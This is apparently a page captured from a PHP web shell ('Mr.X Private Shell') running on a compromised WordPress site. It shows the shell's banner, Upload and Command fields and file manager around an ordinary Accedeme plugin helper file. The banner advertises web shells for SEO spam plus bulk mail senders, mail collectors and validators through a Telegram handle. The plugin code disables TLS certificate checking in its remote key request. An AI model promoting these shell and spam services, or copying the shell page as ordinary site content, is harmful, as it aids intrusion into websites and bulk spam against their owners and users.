__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Adds our one line of code to the footer.
 *
 * This class defines all code necessary to run the Accedeme widget.
 *
 * @package    wp_accedeme
 * @subpackage wp_accedeme/includes
 * @author     Accedeme
 */
class wp_accedeme_helpers
{
    /**
     * Constructor
     */
    public function __construct() {
    }

	public function accedemeInitTable() {
        global $wpdb;
        $table_name      = $wpdb->prefix . ACCEDEME_TABLE_NAME;
        $charset_collate = $wpdb->get_charset_collate();
    
        $sql = "
        CREATE TABLE IF NOT EXISTS `$table_name` (
            `id` INT(11) NOT NULL AUTO_INCREMENT,
            `domain_key` VARCHAR(32) DEFAULT NULL,
            PRIMARY KEY (`id`)
        ) $charset_collate
        ";
    
        if ( ! function_exists( 'dbDelta' ) ) {
            require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
        }
    
        dbDelta( $sql );
    }
    
    public function accedemeRemoveTable() {
        global $wpdb;
        $table_name = $wpdb->prefix . ACCEDEME_TABLE_NAME;
    
        $sql = "DROP TABLE IF EXISTS `$table_name`";
    
        $wpdb->get_results( $sql );
    }
    
    public function accedemeIsTableExist() {
        global $wpdb;
        $table_name  = $wpdb->prefix . ACCEDEME_TABLE_NAME;
		
        $table_exist = false;
        if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) == $table_name ) {
            $table_exist = true;
        }
    
        return $table_exist;
    }

    public function accedemeInsert( $website_key )
    {
        global $wpdb;
        $table_name  = $wpdb->prefix . ACCEDEME_TABLE_NAME;

		$data = array(
						'domain_key' => $website_key,
		);
        $wpdb->insert( $table_name, $data );
    }
    
    public function accedemeGetRemoteWebsiteKey() {
        global $wp_version;

        $website_key = null;

        $apiUrl = 'https://accedeme.com/plugins/wordpress_get_domain_key';
        $apiParameters = array(
            'domain' => parse_url( get_site_url(), PHP_URL_HOST ),
            'name' => get_bloginfo( 'name' ),
            'version' => $wp_version,
        );
    
        $args = array(
            'headers' => array(
                'Content-Type' => 'application/json',
            ),
            'body'        => wp_json_encode( $apiParameters ),
            'method'      => 'POST',
			'timeout'     => 15,
			'sslverify'   => false,
        );

        $response = wp_remote_post( $apiUrl, $args );
        $response_code = wp_remote_retrieve_response_message( $response );
    
        if ( $response_code === 'OK' ) {
            $response_body = json_decode( wp_remote_retrieve_body( $response ), true );
    
            if ( $response_body['status'] == 'OK' )
            {
                $website_key = sanitize_text_field( $response_body['data']['domain_key'] );
            }
        }
    
        return $website_key;
    }
    
    public function accedemeGetWebsiteKey() {
        global $wpdb;
        $table_name = $wpdb->prefix . ACCEDEME_TABLE_NAME;


        $website_key = $wpdb->get_var( $wpdb->prepare( " SELECT domain_key FROM $table_name WHERE id = %d ", 1 ) );

		if ( !$website_key )
		{
			$website_key = $this->accedemeGetRemoteWebsiteKey();
		}
				
        return $website_key;
    }
}

Filemanager

Name Type Size Permission Actions
index.php File 26 B 0775
wp-accedeme-activator.php File 742 B 0775
wp-accedeme-deactivator.php File 534 B 0775
wp-accedeme-footer.php File 3.71 KB 0775
wp-accedeme-helpers.php File 3.33 KB 0775
wp-accedeme-uninstall.php File 554 B 0775
Filemanager